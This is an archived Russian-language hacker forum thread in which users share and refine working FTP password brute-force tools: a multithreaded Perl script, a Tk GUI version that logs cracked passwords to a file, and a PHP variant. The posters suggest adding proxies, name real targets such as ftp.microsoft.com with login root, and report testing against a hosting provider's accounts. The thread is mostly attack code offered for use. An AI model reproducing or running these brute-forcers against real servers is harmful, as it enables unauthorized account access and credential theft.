PDA

Просмотр полной версии : ФТП брутер


Spyder
12.12.2007, 23:26
Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный

#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
print "Password not found\n";
exit;
} else {
return @mas;
}
}

запускаем
perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки>
perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100

ЗЫ Вроде работает :D

scrat
12.12.2007, 23:31
было бы интересно посмотреть на php

Spyder
12.12.2007, 23:33
многопоточности в пшп как таковой нету. Вернее есть, но через анал =\

C!klodoL
12.12.2007, 23:40
$login = "$ARGV[1]";
$ip = "$ARGV[0]";
это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным

Spyder
12.12.2007, 23:42
помойму у меня какая то проблема вызникала с этим и я решил забить =)))
Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу

blackybr
13.12.2007, 00:02
молодца..
кстати очень интересно посмотреть
как ты реализовал threads + tk :))

Spyder
13.12.2007, 00:10
вот с этим проблемка и возникла
После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
По идее он работает, просто несовем эстетично
Кароче как разберусь, выложу

n3m0
13.12.2007, 00:15
Ну вот пример на PHP:


<?php
if ($argc > 3 ) {
$ftp_server = $argv[1];
$ftp_user_name = $argv[2];
$conn_id = ftp_connect($ftp_server);
$f = fopen($argv[3],"r");
while(!feof($f))
{
$ftp_user_pass = fgets($f,255);

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

if ($login_result)) {
echo "password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass";
}

}
fclose($argv[3]);
ftp_close($conn_id);
} else
{
echo "Usage: ".$argv[0]." ftp.server usename password.txt";

}
?>


работоспособность не гарантирую, так как не проверял.

ЗЫ осталось прокси добавить и можна юзать ))

Ni0x
13.12.2007, 00:41
PHP-FTPbrute v0.1a\n\n\t c0d3d by n3m0
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию ;) .

n3m0
13.12.2007, 00:47
та то по приколу написал))) Вообще топик не моему скрипту посвящен. Уделайте внимание ТСу

genom--
13.12.2007, 01:15
насчет брутера - сделай чтобы не под 1 логин был
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась) все невозможное возможно -- предлагаю именно блеки взглянуть на наш со слайдером мыл киллер -- там все есть -- есдинственный лаг при работе с tk это то что он сбивает адреса потоков в памяти и их нельзя завершить и они остаются висеть так что надо создат потоки и вкидывать в них пассы не пересоздавая -- да и если 100 раз запустить на разные хостя то оператива засрется а так вполне работоспособно и мило

в качестве альтернативы этому я думал делать(генерировать) отдельный многопоточный скрипт и вызывать его из основного с гуи и чтобы он через return или в файл возвращал результат работы а основной только анализировал его и выводил пользователю

PS код можно оптимизировать в лудшую сторону -- за сторания ++ -- практика практика и еще раз практика и у тебя будет красивый код - я тоже помнится не оч над этим задумывался пока меня ксури и киба не тыкнули мордой в него и сказали че за херня =)

Spyder
13.12.2007, 01:16
В скрипте были ошибки + несовсем корректно работал
Всё исправил, пользуйтесь =)
Геном, про несколько логинов я думал, возможно потом реализую

pento
13.12.2007, 01:46
Ужасное форматирование языка с ужасным синтаксисом.

Spyder
13.12.2007, 01:47
Вобщем вот кое что подправил. проблема была из-за прагмы strict, так как я не мог понять в чём же проблема, принял решение её убрать.
По скрипту. В первое поле вставляем адрес, второе - логин, тректье путь к файлу для сохранения результата. Хочу заметить что его придётся укзаывать ручками, не стал использовать диалог бокс, имхо незачем. Следующее поле для выбора словаря с паролями, сдесь заюзал функцию getOpenFile(), так удобнее, ну и в последнее поле указываем потоки
Скрипт начинает брутить фтп, при удачном нахождении результат заносится в файл который вы указали и прога закрывается. Вот сдесь мне нужна помощь перл гуру, как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?
Если пароль не найден в файл пишется Password not found и прога тоже закрывается (то же самое, как?). В интерпритатор вываливается куча ошибок в любом случае, там и глобал дистракшн из-за exit и сообщения о невозможности создать новые потоки. вот тут тоже выслушаю ваши замечания
Собственно сам код

#!/usr/bin/perl
use Tk;
use NET::FTP;
use threads;
use threads::shared;
my @pass : shared;
my($main,$addr,$dicfile,$fo,$thrd,$save,$login);

$main=MainWindow->new(-title => 'FTP bruter by Spyder');
$main->geometry ('320x220');
$main->resizable (0,0);
$main->Label(-text => 'Enter targer for brute (without ftp://)')->pack();
$addr=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Login')->pack;
$login=$main->Entry(-width => 50)->pack;
$main->Label(-text => "Enter path to save result")->pack;
$save=$main->Entry(-width => 50)->pack;
$main->Label(-text => 'Choose file with passwords')->pack;
$dicfile=$main->Entry(-width => 50,
-textvariable => \$fo)->pack;
$main->Button(-text => 'Start brute',
-width=> '80',
-height=> '1',
-font => 'courier',
-command => \&Brute)->pack(-side => 'bottom');
$main->Button(-text => 'Browse',
-command => \&fileopen)->pack(-side => 'left');
$thrd=$main->Entry(-width => 5)->pack(-side => 'right');
$main->Label(-text => 'Threads:')->pack(-side => 'right');
sub fileopen
{
$fo = $main->getOpenFile();
}
MainLoop;
sub Brute
{
$thr = int($thrd->get);
$file = $dicfile->get;
$fsave = $save->get;
open (SRC, "<$file") or die "Can't open:$!";
Next:
@pass = pass();
my @trl;
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $_);
}
for(0..$thr)
{
$trl[$_]->join
}

sub Brut
{
while (@pass) {
$pass = shift @pass;
$fsave = $save->get;
$ip = $addr->get;
$log_in = $login->get;
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($log_in,$pass) or exit "$!";
if ($ok)
{
open (SAVE, ">>$fsave") or exit "Can't save:$!";
print SAVE "Password for $ip is $pass\n";
close (SAVE);
exit;
}
}
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
$n = @mas;
if ($n == 0) {
open (SAVE, ">>$fsave") or die "Can't save:$!";
print SAVE "Password not found\n";
close (SAVE);
exit;
} else {
return @mas;
}
}
}

Не знаю то ли это чего вы ждали, но оно всё же работает =))

KSURi
13.12.2007, 02:19
насчет threads + tk =) - а почему бы и нет - хоть тк и является unthreadable - типо не потокиируемый(если не ошибась)

Статус Тк не позволяет (при стандартной связке Tk+threads) внедрять многопоточность только по отношению к себе. Т.е. разработка "нормального" гуя, где элементы гуя контролируются одними потоками, а работа скрипта выполняется другими, в данном случае не возможна.

Я хотел было заморочиться по этому поводу, в мыслях было написать многопоточную обертку для Tk, но мои телодвижения в данном направлении окончились после этих строк:

#!perl

use strict;
use warnings;

use Tk;
use threads;

my($MW);

threads -> create(\&StartGUI, 'Tk & threads', [640, 480], [0, 0]) -> detach;

sub StartGUI
{
my($title, $geometry, $resizable) = @_;

$MW = MainWindow -> new(-title => $title);
$MW -> geometry($geometry -> [0] . 'x' . $geometry -> [1]);
$MW -> resizable($resizable -> [0], $resizable -> [1]);

MainLoop;
}

Без исправлений на уровне XS, мне кажется, тут ничего уже не попишешь.

C!klodoL
13.12.2007, 03:19
как сделать что бы после нахождения пароля можно было задать новые переменны и начать новый брут?

ну проще сделать брут по списку login:host из файла, только тебе нужно изменить код чтобы хосты и пассы сразу заносились в массивы (правда тут словарь метров эдак на 200 не заюзаешь, оперативки не хватит, но с другой стороны врядли кто будет таким словарем брутить)), вот примерно как это может выглядеть:

sub brut
{
while (@ftps)
{
$ftp = shift @ftps;
($login, $host) = split (/:/, $ftp);
foreach (@passwords)
{
$_ обходим все пассы в масиве
}
}
}

vp$
13.12.2007, 06:04
проверял для хостинго jino.ru
ftp:// -- login.jino.ru
login -- login
где логин это учетка на хостинге
прога при запуске подумала немного и вырубилась

Spyder
13.12.2007, 11:04
проверял на нарроде + обычные фтп
всё работает
Ты какой скрипт проверял? С ГУИ? Если да то он тебе должен результат в файл занести или может ты чё то не так делаешь
C!klodoL, ты меня наверное немного не понял. Вобщем Ксури подсказал идею с сабами, попробую сделать

satana8920
13.06.2008, 23:21
вот бы было бы не плохо еси мона было б подгружать список логинов
я не большой ценитель гиу я маньяк ретро консоли
по этому думаю что лучше бы старую версию доработать